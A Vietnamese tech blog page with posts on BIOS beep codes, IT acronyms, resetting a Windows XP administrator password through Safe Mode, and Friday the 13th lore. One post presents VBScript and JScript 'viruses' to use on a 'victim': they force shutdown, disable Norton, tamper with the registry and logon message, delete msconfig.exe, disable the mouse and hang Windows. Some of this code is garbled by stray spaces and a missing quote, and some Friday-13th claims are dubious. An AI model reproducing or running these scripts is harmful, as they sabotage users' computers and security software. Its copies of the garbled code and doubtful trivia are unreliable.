vietnamese Tiếng Việt english English
Hôm nay:

Đoán bệnh PC qua tiếng bip BIOS

10:56 |
BIOS - Những tiếng bip

[FD's BlOg] - Máy tính của bạn đôi khi nghe những tiếng bip...bip... Khi đó máy của bạn đã gặp 1 số vấn đề. Những tiếng bip đó đặc trưng cho những lỗi khác nhau. Để biết được máy của bạn đang gặp vấn đề gì các bạn có thể tham khảo bài viết bày.(Ở đây chỉ đề cập tới 2 loại BIOS tương đối phổ dụng là PhoenixAMI)


►BIOS AMI

1 tiếng bíp ngắn: Một tiếng bíp ngắn là test hệ thống đạt yêu cầu, do là khi bạn thấy mọi dòng test hiển thị trên màn hình. Nếu bạn không thấy gì trên màn hình thì phải kiểm tra lại monitor và card video trước tiên, xem đã cắm đúng chưa. Nếu không thì một số chip trên bo mạch chủ của bạn có vấn đề. Xem lại RAM và khởi động lại. Nếu vẫn gặp vấn đề thì có khả năng bo mạch chủ đã bị lỗi. Bạn nên thay bo mạch.

2 tiếng bíp ngắn: Lỗi RAM. Tuy nhiên, trước tiên hãy kiểm tra card màn hình. Nếu nó hoạt động tốt thì bạn hãy xem có thông báo lỗi trên màn hình không. Nếu không có thì bộ nhớ của bạn có lỗi chẵn lẻ (parity error). Cắm lại RAM và khởi động lại. Nếu vẫn có lỗi thì đảo khe cắm RAM.

3 tiếng bíp ngắn: Về cơ bản thì tương tự như phần 2 tiếng bíp ngắn.

4 tiếng: Về cơ bản thì tương tự như phần 2 tiếng bíp ngắn. Tuy nhiên cũng có thể là do bộ đặt giờ của bo mạch bị hỏng

5 tiếng bíp ngắn: Cắm lại RAM. Nếu không thì có thể phải thay bo mạch chủ.

6 tiếng bíp ngắn: Chip trên bo mạch chủ điều khiển bàn phím không hoạt động. Tuy nhiên trước tiên vẫn phải cắm lại keyboard hoặc thử dùng keyboard khác. Nếu tình trạng không cải thiện thì tới lúc phải thay bo mạch chủ khác.

7 tiếng bíp ngắn: CPU bị hỏng. Thay CPU khác.

8 tiếng bíp ngắn: Card màn hình không hoạt động. Cắm lại card. Nếu vẫn kêu bíp thì nguyên nhân là do card hỏng hoặc chip nhớ trên card bị lỗi. Thay card màn hình.

9 tiếng bíp ngắn: BIOS của bạn bị lỗi. Thay BIOS khác.

10 tiếng bíp ngắn: Vấn đề của bạn chính là ở CMOS. Tốt nhất là thay bo mạch chủ khác.

11 tiếng bíp ngắn: Chip bộ nhớ đệm trên bo mạch chủ bị hỏng. Thay bo mạch khác.

1 bíp dài, 3 bíp ngắn: Lỗi RAM. Bạn hãy thử cắm lại RAM, nếu không thì phải thay RAM khác

1 bíp dài, 8 bíp ngắn: Không test được video. Cắm lại card màn hình.

1 bíp thật dài:chưa cắm RAM hay VIDEO CARD vào.

Không có tiếng bip nào và không có tin hiệu qua monitor thì có 2 khả năng:
☼ Bạn chưa cắm dây loa cho main.
☼ Các thông số trong bios bị khai báo sai,vì thế phải reset lại bios bằng cách tháo jump hoặc gỡ pin.


►BIOS PHOENIX

Tiếng bíp của BIOS Phoenix chi tiết hơn BIOS AMI một chút. BIOS này phát ra 3 loạt tiếng bíp một. Chẳng hạn, 1 bíp dừng-3 bíp dừng. Mỗi loại được tách ra nhờ một khoảng dừng ngắn. Hãy lắng nghe tiếng bíp, đếm số lần bíp.

Mô tả mã lỗi chẩn đoán POST của BIOS PHOENIX

1-1-3: Máy tính của bạn không thể đọc được thông tin cấu hình lưu trong CMOS.

1-1-4: BIOS cần phải thay.

1-2-1: Chip đồng hồ trên mainboard bị hỏng.

1-2-2: Bo mạch chủ có vấn đề.

1-2-3: Bo mạch chủ có vấn đề.

1-3-1: Bạn cần phải thay bo mạch chủ.

1-3-3: Bạn cần phải thay bo mạch chủ.

1-3-4: Bo mạch chủ có vấn đề.

1-4-1: Bo mạch chủ có vấn đề.

1-4-2: Xem lại RAM.

2-_-_: Tiếng bíp kéo dài sau 2 lần bíp có nghĩa rằng RAM của bạn có vần đề.

3-1-_: Một trong những chip gắn trên mainboard bị hỏng. Có khả năng phải thay mainboard.

3-2-4: Chip kiểm tra bàn phím bị hỏng.

3-3-4: Máy tính của bạn không tìm thấy card màn hình. Thử cắm lại card màn hình hoặc thử với card khác.

3-4-_: Card màn hình của bạn không hoạt động.

4-2-1: Một chip trên mainboard bị hỏng.

4-2-2: Trước tiên kiểm tra xem bàn phím có vấn đề gì không. Nếu không thì mainboard có vấn đề.

4-2-3: Tương tự như 4-2-2.

4-2-4: Một trong những card bổ sung cắm trên bo mạch chủ bị hỏng. Bạn thử rút từng cái ra để xác định thủ phạm. Nếu không tìm thấy được card bị hỏng thì giải pháp cuối cùng là phải thay mainboard mới.

4-3-1: Lỗi bo mạch chủ.

4-3-2: Xem 4-3-1.

4-3-3: Xem 4-3-1.

4-3-4: Đồng hồ trên bo mạch bị hỏng. Thử vào Setup CMOS và kiểm tra ngày giờ. Nếu đồng hồ không làm việc thì phải thay pin CMOS.

4-4-1: Có vấn đề với cổng nối tiếp. Bạn thử cắm lại cổng này vào bo mạch chủ xem có được không. Nếu không, bạn phải tìm jumper để vô hiệu hoá cổng nối tiếp này.

4-4-2: Xem 4-4-1 nhưng lần này là cổng song song.

4-4-3: Bộ đồng xử lý số có vấn đề. Nếu vấn đề nghiêm trọng thì tốt nhất nên thay.

1-1-2: Mainboard có vấn đề.

1-1-3: Có vấn đề với RAM CMOS, kiểm tra lại pin CMOSmainboard.
Read more…

Những thuật ngữ viết tắt trong tin học

10:37 |
PC, NTFS, AGP, USB,....v..v chúng có ý nghĩa gì?

[FD's BlOg] - Bạn có thể rất am hiểu về tin học, bạn có thể rành về máy tính, nhưng bạn có biết những thuật ngữ viết tắt trong tin học như PC, NTFS, AGP, USB,....v..v chúng có ý nghĩa gì? .



Dưới đây là 1 số thuật ngữ viết tắt mà mình sưu tầm được.

  • IT (Information Technology): Công nghệ về máy tính.
  • PC (Personal Computer): Máy tính cá nhân.
  • ICT (Information Communication Technology): Ngành công nghệ thông tin - truyền thông.
  • PDA (Personal Digital Assistant): Thiết bị số hổ trợ cá nhân.
  • CP (Computer Programmer): Người lập trình máy tính.
  • CPU (Central Processing Unit): Đơn vị xữ lý trung tâm trong máy tính.
  • BIOS (Basic Input/Output System): Hệ thống nhập/xuất cơ sở.
  • CMOS (Complementary Metal Oxide Semiconductor): Bán dẫn bù Oxít - Kim loại, Họ các vi mạch điện tử thường được sử dụng rộng rải trong việc thiết lập các mạch điện tử.
  • I/O (Input/Output): Cổng nhập/xuất.
  • COM (Computer Output on Micro):
  • CMD (Command): Dòng lệnh để thực hiện một chương trình nào đó..
  • OS (Operating System): Hệ điều hành máy tính.
  • OS Support (Operating System Support): Hệ điều hành được hổ trợ.
  • BPS (Bits Per Second): Số bít truyền trên mỗi giây.
  • RPM (Revolutions Per Minute): Số vòng quay trên mỗi phút.
  • ROM (Read Only Memory): Bộ nhớ chỉ đọc, không thể ghi - xóa.
  • RAM (Random Access Memory): Bộ nhớ truy cập ngẫu nhiên.
  • SIMM (Single Inline Memory Module).
  • DIMM (Double Inline Memory Modules).
  • RIMM (Ram bus Inline Memory Module).
  • SDRAM (Synchronous Dynamic Random Access Memory): RAM đồng bộ.
  • SDR - SDRAM (Single Data Rate SDRAM).
  • DDR - SDRAM (Double Data Rate SDRAM).
  • HDD (Hard Disk Drive): Ổ Đĩa cứng - là phương tiện lưu trữ chính.
  • FDD (Floppy Disk Drive): Ổ Đĩa mềm - thông thường 1.44 MB.
  • CD - ROM (Compact Disc - Read Only Memory): Đĩa nén chỉ đọc.
  • Modem (Modulator/Demodulator): Điều chế và giải điều chế - chuyển đổi qua lại giữa tín hiệu Digital và Analog.
  • DAC (Digital to Analog Converted): Bộ chuyển đổi từ tín hiệu số sang tín hiệu Analog.
  • MS - DOS (Microsoft Disk Operating System): Hệ điều hành đơn nhiệm đầu tiên của Microsoft (1981), chỉ chạy được một ứng dụng tại một thời điểm thông qua dòng lệnh.
  • NTFS (New Technology File System): Hệ thống tập tin theo công nghệ mới - công nghệ bảo mật hơn dựa trên nền tảng là Windows NT.
  • FAT (File Allocation Table): Một bảng hệ thống trên đĩa để cấp phát File.
  • SAM (Security Account Manager): Nơi quản lý và bảo mật các thông tin của tài khoản người dùng.
  • AGP (Accelerated Graphics Port): Cổng tăng tốc đồ họa.
  • VGA (Video Graphics Array): Thiết bị xuất các chương trình đồ họa theo dãy dưới dạng Video ra màn hình.
  • IDE (Integrated Drive Electronics): Mạch điện tử tích hợp trên ổ đĩa cứng, truyền tải theo tín hiệu theo dạng song song (Parallel ATA), là một cổng giao tiếp.
  • PCI (Peripheral Component Interconnect): Các thành phần cấu hình nên cổng giao tiếp ngoại vi theo chuẩn nối tiếp.
  • ISA (Industry Standard Architecture): Là một cổng giao tiếp.
  • USB (Universal Serial Bus): Chuẩn truyền dữ liệu cho BUS (Thiết bị) ngoại vi.
  • SCSI (Small Computer System Interface): Giao diện hệ thống máy tính nhỏ - giao tiếp xữ lý nhiều nhu cầu dữ liệu cùng một lúc.
  • ATA (Advanced Technology Attachment): Chuẩn truyền dữ liệu cho các thiết bị lưu trữ.
  • SATA (Serial Advanced Technology Attachment): Chuẩn truyền dữ liệu theo dạng nối tiếp.
  • PATA (Parallel ATA): Chuẩn truyền dữ liệu theo dạng song song.
  • FSB (Front Side Bus): BUS truyền dữ liệu hệ thống - kết nối giữa CPU với bộ nhớ chính.
  • HT (Hyper Threading): Công nghệ siêu phân luồng.
  • S/P (Supports): Sự hổ trợ.
  • PNP (Plug And Play): Cắm và chạy.
  • EM64T (Extended Memory 64 bit Technology): CPU hổ trợ công nghệ 64 bit.
  • IEEE (Institute of Electrical and Electronics Engineers): Học Viện của các Kỹ Sư Điện và Điện Tử.
  • OSI (Open System Interconnection): Mô hình liên kết hệ thống mở - chuẩn hóa quốc tế.
  • ASCII (American Standard Code for Information Interchange): Hệ lập mã, trong đó các số được qui định cho các chữ.
  • APM (Advanced Power Manager): Quản lý nguồn cao cấp (tốt) hơn.
  • ACPI (Advanced Configuration and Power Interface): Cấu hình cao cấp và giao diện nguồn.
  • MBR (Master Boot Record): Bảng ghi chính trong các đĩa dùng khởi động hệ thống.
  • RAID (Redundant Array of Independent Disks): Hệ thống quản l‎ý nhiều ổ đĩa cùng một lúc.
  • Wi - Fi (Wireless Fidelity): Kỹ thuật mạng không dây.
  • LAN (Local Area Network): Mạng máy tính cục bộ.
  • WAN (Wide Area Network): Mạng máy tính diện rộng.
  • NIC (Network Interface Card): Card giao tiếp mạng.
  • UTP (Unshielded Twisted Pair): Cáp xoắn đôi - dùng để kết nối mạng thông qua đầu nối RJ45.
  • STP (Shielded Twisted Pair): Cáp xoắn đôi có vỏ bọc.
  • BNC (British Naval Connector): Đầu nối BNC dùng để nối cáp đồng trục.
  • ADSL (Asymmetric Digital Subscriber Line): Đường thuê bao bất đối xứng - kết nối băng thông rộng.
  • TCP/IP (Transmission Control Protocol/Internet Protocol): Giao thức mạng.
  • IP (Internet Protocol): Giao thức giao tiếp mạng Internet.
  • DHCP (Dynamic Host Configuration Protocol): Hệ thống giao thức cấu hình IP động.
  • DNS (Domain Name System): Hệ thống phân giải tên miền thành IP và ngược lại.
  • RIS (Remote Installation Service): Dịch vụ cài đặt từ xa thông qua LAN.
  • ARP (Address Resolution Protocol): Giao thức chuyển đổi từ địa chỉ Logic sang địa chỉ vật lý.
  • ICS (Internet Connection Sharing): Chia sẽ kết nối Internet.
  • MAC (Media Access Control): Khả năng kết nối ở tầng vật lý.
  • CSMA/CD (Carrier Sense Multiple Access with Collision Detection): Giao thức truyền tin trên mạng theo phương thức lắng nghe đường truyền mạng để tránh sự đụng độ.
  • AD (Active Directory): Hệ thống thư mục tích cực, có thể mở rộng và tự điều chỉnh giúp cho người quản trị có thể quản lý tài nguyên trên mạng một cách dễ dàng.
  • DC (Domain Controller): Hệ thống tên miền.
  • OU (Organization Unit): Đơn vị tổ chức trong AD.
  • DFS (Distributed File System): Hệ thống quản lý tập tin luận lý, quản lý các Share trong DC.
  • HTML (Hyper Text Markup Language): Ngôn ngữ đánh dấu siêu văn bản
  • Other
  • ISP (Internet Service Provider): Nhà cung cấp dịch vụ Internet.
  • ICP (Internet Content Provider): Nhà cung cấp nội dung thông tin trên Internet.
  • IAP (Internet Access Provider): Nhà cung cấp cỗng kết nối Internet.
  • WWW (World Wide Web): Hệ thống Web diện rộng toàn cầu.
  • HTTP (Hyper Text Transfer Protocol): Giao thức truyền tải File dưới dạng siêu văn bản.
  • URL (Uniform Resource Locator): Dùng để định nghĩa một Website, là đích của một liên kết.
  • FTP (File Transfer Protocol): Giao thức truyền tải File.
  • E_Mail (Electronic Mail): Hệ thống thư điện tử.
  • E_Card (Electronic Card): Hệ thống thiệp điện tử.
  • ID (Identity): Cở sở để nhận dạng.
  • SMS (Short Message Service): Hệ thống tin nhắn ngắn - nhắn dưới dạng ký tự qua mạng điện thoại.
  • MSN (Microsoft Network): Dịch vụ nhắn tin qua mạng của Microsoft.
  • MSDN (Microsoft Developer Network): Nhóm phát triển về công nghệ mạng của Microsoft.
  • Acc User (Account User): Tài khoản người dùng.
  • POP (Post Office Protocol): Giao thức văn phòng, dùng để nhận Mail từ Mail Server.
  • SMTP (Simple Mail Transfer Protocol): Giao thức dùng để gửi Mail từ Mail Client đến Mail Server.
  • CC (Carbon Copy): Đồng kính gửi, người nhận sẽ nhìn thấy tất cả các địa chỉ của những người nhận khác (Trong E_Mail).
  • BCC (Blind Carbon Copy): Đồng kính gửi, nhưng người nhận sẽ không nhìn thấy địa chỉ của những người nhận khác.
  • ISA Server (Internet Security & Acceleration Server): Chương trình hổ trợ quản lý và tăng tốc kết nối Internet dành cho Server.
  • ASP/ASP.NET (Active Server Page): Ngôn ngữ viết Web Server.
  • SQL (Structured Query Language): Ngôn ngữ truy vấn cấu trúc - kết nối đến CSDL.
  • IE (Internet Explorer): Trình duyệt Web “Internet Explorer” của Microsoft.
  • MF (Mozilla Firefox): Trình duyệt Web “Mozilla Firefox”.
  • CAD (Computer Aided Design): Thiết kế với sự trợ giúp của máy tính.
  • CAM (Computer Aided Manufacturing): Sản xuất với sự trợ giúp của máy tính.
  • CAL (Computer Aided Learning): Học tập với sự trợ giúp của máy tính.
  • DPI (Dots Per Inch): Số chấm trong một Inch, đơn vị đo ảnh được sinh ra trên màn hình và máy in.
  • CCNA (Cisco Certified Network Associate): Là chức chỉ mạng quốc tế do hãng sản xuất thiết bị mạng hàng đầu thế giới - Cisco – cấp, và được công nhận trên toàn thế giới.
  • CCNP (Cisco Certified Network Professional): Là chứng chỉ mạng cao cấp của Cisco.
  • MCP (Microsoft Certified Professional): Là chứng chỉ ở cấp độ đầu tiên của Microsoft.
  • MCSA (Microsoft Certified Systems Administrator): Chứng chỉ dành cho người quản trị hệ điều hành mạng của Microsoft, được chính Bác Bill Gate ký.
  • MCSE (Microsoft Certified Systems Engineer): Tạm dịch là kỹ sư mạng được Microsoft chứng nhận, do chính tay Bác Bill Gate ký
  • Read more…

    Tạo virust đơn giản với Notepad hay Wordpad

    10:18 |
    _VBSCRIPT --- _Javascript.

    [FD's BlOg] - Chỉ với Notepad hay Wordpad bạn có thể tự tạo cho mình 1 vài "chú" Virus đơn giản dưới dạng _VBSCRIPT hoặc _Javascript.


    Dưới đây là code của một số con virus nhỏ dưới dạng VBS:

    1. Không cho victim khởi động máy:
    Dim wsh
    Set wsh = createobject("wscript.shell")
    wsh.run "RUNDLL32.EXE user.exe,exitwindows"

    2. Disable NAV:
    Dim wsh
    Set wsh= CreateObject( "WScript.Shell")
    s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servi c es\Norton Program
    Scheduler\Start"
    wsh.RegWrite s1,3, "REG_DWORD"

    3. Hiển thị một message mỗi khi reboot máy:
    dim wsh
    Set wsh = CreateObject( "WScript.Shell" )
    s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\Wi n Logon\"
    s2 = "LegalNoticeCaption"
    s3 = "LegalNoticeText"
    wsh.RegWrite s1+s2, "http://allformy.topcities.com"
    wsh.RegWrite s1+s3, "Ta la anh_hung_bat_dac_di000-Toi den tu HVA"

    4. Hiển thị một dòng lệnh khi click vào file hay folder:
    set reg=createobject("WScript.shell")
    reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Ban da bi toi khong che"
    reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Ban da bi toi khong che","I_LOVE_U"

    5. Làm cho các trò trên hoạt động bình thường:
    Dim objShell
    Set objShell = CreateObject( "WScript.Shell" )
    s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\Cu rrentVersion\ "
    s2 = "Policies\System\DisableRegistryTools"
    objShell.RegWrite s1+s2,1, "REG_DWORD"
    Dưới dạng Javascipt :
    var wsh;
    wsh=new ActiveXObject ("Wscript.shell");

    // Winlogon when reboot

    var s1 = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersio n \\WinLogon\\";
    var s2 = "LegalNoticeCaption";
    var s3 = "LegalNoticeText";
    wsh.RegWrite (s1+ s2, "http://allformy.topcities.com") ;
    wsh.RegWrite (s1+s3, "Ban da bi toi khong che") ;

    //Disable Registry
    var s1 = "HKEY_USERS\\.Default\\Software\\Microsoft\\Window s\\CurrentVers ion\\";
    var s2 = "Policies\\System\\DisableRegistryTools" ;
    wsh.RegWrite (s1+s2,0,"REG_DWORD");

    //Delete file Msconfig.exe làm cho victim khởi động tới Registry luôn

    var fso;
    fso=new ActiveXObject("Scripting.FileSystemObject");
    var fe=fso.getfile("C:\\windows\\msconfig.exe);
    fe.delete true;

    //Shutdown windows
    //Disable Mouse

    wsh.run ("RUNDLL32.EXE mouse,disable");

    //Hang up windows

    wsh.run ("rundll32 user,disableoemlayer");
    Read more…

    Thủ thuật máy tính : Khôi phục mật khẩu Administrator

    10:01 |
    Khôi phục mật khẩu Administrator trong Windows XP


    [FD's BlOg] - Nếu bạn sử dụng một máy tính có nhiều người dùng chung, thì việc tạo những tài khoản khác nhau để hạn chế quyền truy cập vào những phân vùng nhất định là điều cần thiết. Tuy nhiên vì một l‎ý do nào đó, bạn lại lỡ quên mất mật khẩu của tài khoản quản trị (Administrator) thì thật là rắc rối.

    Thật rắc rối nếu bạn quên mất mật khẩu quản trị. Việc cài đặt hoặc sử dụng các tính năng sẽ gặp không ít khó khăn với các tài khoản con. Để khôi phục mật khẩu quản trị, làm theo các bước sau :

    1. Đầu tiên khởi động Windows ở chế độ Safe Mode. Để vào được chế độ này, sau khi bấm Power, bạn nhấp liên tục nút F8 trên bàn phím. Một danh mục khởi động sẽ hiện ra và bạn chọn Safe Mode.

    2. Tiếp theo, trong chế độ safe mode, bạn click Start và chọn Run, điền control userpasswords2 vào hộp thoại và nhấn OK.

    3. Bây giờ bạn có quyền truy cập vào toàn bộ tài khoản sử dụng máy, kể cả tài khoản admin, bây giờ bạn có thể dễ dàng khôi phục lại mật khẩu.

    4. Bạn click vào tài khoản admin và click tiếp vào nút Reset Password. Bạn sẽ cần phải thêm một mật khẩu mới đồng thời phải xác nhận lại mất khẩu đó trong hộp thoại tiếp theo và nhấn OK.


    Mọi việc đã hoàn thành, bạn chỉ cần khởi động lại máy tính và sử dụng mật khẩu mới để đăng nhập vào tài khoản Admin. Nếu lần sau chẳng may lại quên mật khẩu thì bạn cũng chẳng phải quá lo lắng để suy nghĩ xem mật khẩu cũ là gì.
    Theo Dantri
    Read more…

    Hiểu rõ hơn về thứ 6 ngày 13

    02:22 |
    Thứ 6 ngày 13 - có gì đáng sợ?

    [FD's BlOg] - Hôm nay, một số người bỗng ở lỳ trong nhà không ló mặt ra đường. Nhiều người vội vàng huỷ mọi chuyến bay, từ chối giao dịch hoặc không ký hợp đồng. Vì sao vậy? Hôm nay là thứ 6 ngày 13 và người ta đang hoảng sợ.


    "Ước tính khoảng 800-900 triệu USD bị thua lỗ trong ngày này bởi người ta sẽ không bay hoặc làm những công việc mà bình thường họ vẫn làm", Donald Dossey, nhà sáng lập Trung tâm điều trị stress và Viện nghiên cứu nỗi ám ảnh ở Asheville, North Carolina, Mỹ, cho biết.

    Nỗi sợ thứ sáu ngày 13 ám ảnh từ 17 đến 21 triệu người ở Mỹ. Các triệu chứng bao gồm từ lo lắng tới hốt hoảng. Hậu quả còn khiến người ta đảo lộn mọi lịch trình hoặc từ bỏ hẳn một ngày làm việc.

    Richard Wiseman, nhà tâm lý học tại Đại học Hertfordshire ở Hatfield, Anh, nhận thấy những người luôn coi mình đen đủi thì dễ tin vào những điều mê tín về may rủi. Wiseman tìm thấy 1/4 trong số hơn 2.000 người được phỏng vấn vào năm ngoái luôn cho rằng con số 13 mang lại rủi ro. Họ luôn bồn chồn, lo lắng vào những thứ sáu ngày 13, và vì vậy dễ gặp tai nạn hơn. Nói theo cách khác, nỗi lo thứ 6 ngày 13 chính là nguyên nhân làm hỏng việc của họ.

    Vì sao thứ 6 ngày 13 lại trở thành ngày đen đủi như vậy?

    Dossey, tác giả cuốn Holiday Folklore, Phobias and Fun, cho biết nỗi sợ bắt nguồn từ thời cổ đại, khi số 13 và thứ 6 - hai điều mang lại vận đen kết hợp với nhau thì tạo nên một ngày vô cùng bất hạnh.

    Con số 13 là bắt nguồn từ truyền thuyết Nauy về 12 vị thần dự tiệc tại thiên đường Valhalla. Khi đó một vị khách không mời thứ 13 xuất hiện, thần tinh quái Loki. Tại đó, Loki đã bày đặt cho Hoder, thần bóng tối, bắn thần Balder xinh đẹp, vị thần mang lại niềm vui và hạnh phúc, bằng một mũi tên tẩm độc tầm gửi.

    "Balder chết và cả trái đất chìm trong bóng tối và tang tóc. Đó là một ngày đen đủi, bất hạnh", Dossey nói. Từ đó trở đi, con số 13 trở thành điềm gở và báo trước những điều không lành.

    Trong kinh thánh cũng có nhắc tới con số 13 không may mắn. Judas, phản đồ của Jesus là vị khách thứ 13 trong bữa tiệc cuối cùng. Trong khi đó ở thành Rome cổ, các vị phù thuỷ thường tập hợp thành những nhóm 12. Nhân vật thứ 13 là quỷ dữ.

    Thomas Fernsler, nhà khoa học tại Trung tâm khoa học và toán học tại Đại học Delaware ở Newark, thì cho rằng con số 13 xấu vì nó nằm sau số 12. Theo Fernsler, các nhà số học coi số 12 là số hoàn chỉnh. Một năm có 12 tháng, có 12 cung hoàng đạo, 12 vị thần Hy Lạp, 12 tông đồ của Jesus, Hercules lập 12 chiến công. 13 trở thành điều không may mắn bởi nó vượt quá sự hoàn thiện.

    Nỗi sợ con số 13 thể hiện rõ trong thế giới hiện đại ngày nay. Hơn 80% các toà nhà cao tầng không có tầng 13. Nhiều sân bay bỏ qua cổng thứ 13. Bệnh viện, khách sạn thường xuyên không có phòng 13. Trên các dãy phố ở Florence, Italy, những ngôi nhà nằm giữa số 12 và 14 được đánh số là 12 rưỡi. Nhiều người mê tín cũng coi số phận bi thảm của con tàu Apollo 13 liên quan tới số 13.

    Còn với thứ 6, đó là ngày chúa Jesus bị hành quyết. Một số học giả cũng cho rằng Eve cùng Adam thử trái cấm vào thứ 6. Còn trường hợp nổi bật nhất là Abel bị Cain giết vào thứ 6 ngày 13.

    Dossey cho rằng cách phòng tránh tốt nhất chỉ đơn giản là hướng những suy nghĩ tiêu cực sang tích cực. Tập trung suy nghĩ về những điều tốt đẹp sẽ tạo ra cảm giác thoải mái và làm giảm bớt căng thẳng.

    Wiseman, nhà tâm lý tại Đại học Hertfordshire, cũng khuyên rằng: "Mọi người nên nhận ra rằng họ hoàn toàn có thể tạo ra chính vận may hay vận rủi cho mình. Họ nên nghĩ đến những điều may mắn như những sự kiện vui vẻ trong cuộc sống, nhớ lại những điều tốt đẹp đã xảy ra và chuẩn bị sẵn sàng để kiểm soát tương lai".

    Một số quan niệm dân gian lại gợi ý cách giải xui là trèo lên lên đỉnh ngọn núi hoặc tháp chọc trời rồi đốt tất cả những chiếc tất thủng lỗ. Hoặc cách khác là làm động tác trồng cây chuối và ăn một mẩu xương sụn.

    Nếu bạn lo ngại thứ 6 ngày 13 thì hãy tự chọn cho mình một cách đề phòng, để ngày hôm nay mang đến cho mình thật nhiều may mắn.
    Theo Vnexpress
    Read more…

    Khám phá : 13 tiết lộ về thứ Sáu ngày 13

    02:05 |
    13 tiết lộ về thứ Sáu ngày 13


    [FD's BlOg] - Khi nói đến thứ Sáu ngày 13, bạn thường có cảm giác sợ hãi một điều gì đó không may sẽ đến với bạn trong ngày. Bạn vẫn cho rằng thứ Sáu ngày 13 là một ngày không tốt, tuy nhiên, có một số sự thật về thứ Sáu ngày 13 mà bạn có thể vẫn chưa khám phá ra.



    Sau đây là 13 tiết lộ về thứ Sáu ngày 13:


    1. Hải Quân Anh đã tạo một chiếc tàu thuỷ và đặt tên là thứ Sáu ngày 13. Chuyến khởi hành đi xa đầu tiên của nó cũng vào thứ Sáu ngày 13 và sau đó người ta không nghe tin gì về nó.

    2. Con tàu Apollo 13 định mệnh được phóng vào hồi 13h13 CST (giờ chuẩn trung tâm) vào ngày 11 tháng 4 năm 1970. Tổng thông số ngày tháng (4-11-70) là 13 (tức là 4+1+1+7+0 = 13). Và vụ nổ của con tàu định mệnh này cũng liên quan đến số 13, đó là ngày 13 tháng 4 (song, không phải ngày thứ Sáu). Tuy vậy, may mắn đội phi hành gia vẫn trở về trái đất an toàn.

    Thứ Sáu ngày 13 luôn được coi là ngày xấu, mà không thể giải thích vì sao.


    3. Nhiều bệnh viện không có phòng 13 và nhiều toà nhà cao tầng không có tầng 13.

    4. Nỗi sợ hãi thứ Sáu ngày 13, đó là một trong những thần thoại được biết đến nhiều nhất trong khoa học. Nhưng điều đáng ngạc nhiên là hầu hết những người tin rằng thứ Sáu ngày 13 là ngày đen đủi mà không đưa ra lí do gì, kể cả những lập luận không logic. Giống như một sự mê tín dị đoan, những người sợ thứ Sáu ngày 13 cảm thấy sợ vì đơn giản là họ sợ, không bởi vì một lí do cụ thể nào cả.

    5. Tiền vệ Dan Marino đã mặc áo số 13 trong suốt cuộc đời cầu thủ của mình ở Miami Dolphins. Mặc dù là một tiền vệ tuyệt vời nhưng anh chỉ được chơi bóng 1 lần vào năm 1985 và đội của anh đã bị đội San Francisco thắng đậm 38-16.

    6. Cassidy, một kẻ cướp nhà băng khét tiếng cũng được sinh ra vào thứ Sáu ngày 13 năm 1866.

    7. Cựu Tổng thống Brazil và Fidel Castro sinh vào thứ Sáu ngày 13 tháng 8 năm 1926.

    8. Tổng thống Franklin D. Roosevelt không đi đâu vào ngày 13 của tháng và ông cũng không bao giờ mời 13 vị khách ngồi cùng một bữa ăn. Napoleon và Herbert Hoover cũng đặc biệt sợ hãi con số 13.

    9. Một bữa tối mê tín ở Paris nếu có 13 vị khách thì nhất định sẽ có thêm vị khách danh dự thứ 14 thì bữa ăn đó mới được tiến hành.

    10. Nhà văn Mark Twain cũng có một lần tiếp vị khách thứ 13 vào bữa tối. Một người bạn của ông đã báo trước không đến, nhưng cuối cùng lại đến. Và điều ông thấy không may là ông chỉ chuẩn bị thức ăn và đồ dùng cho 12 người.

    11. Tổng thống thứ 28 của Mỹ, Woodrow Wilson lại xem số 13 là số may mắn của mình. Để khẳng định điều đó, ông có chuyến đến Pháp vào thứ Sáu ngày 13 tháng 12 năm 1918 để có cuộc thương thuyết hoà bình. Nhưng ông lại trở về không thành công.

    12. Số 13 là số đứng sau số 12, con số mà theo những nhà số học cho rằng đó là một con số hoàn hảo vì một năm có 12 tháng, 12 giờ hoàng đạo, 12 vị thần của Olympus, 12 sứ mệnh của Hercules, 12 bộ tộc của Israel, 12 tông đồ của Jesus, 12 ngày của Giáng Sinh và 12 quả trứng được một tá trứng. Chính vì vậy, số 13 sau số 12 hoàn hảo nên nó thành một con số không may?


    13. Dấu ấn ở mặt sau của một tờ đô la có 13 bậc kim tự tháp, 13 ngôi sao trên đầu con đại bàng, 13 lá oliu trên nhánh oliu.
    Read more…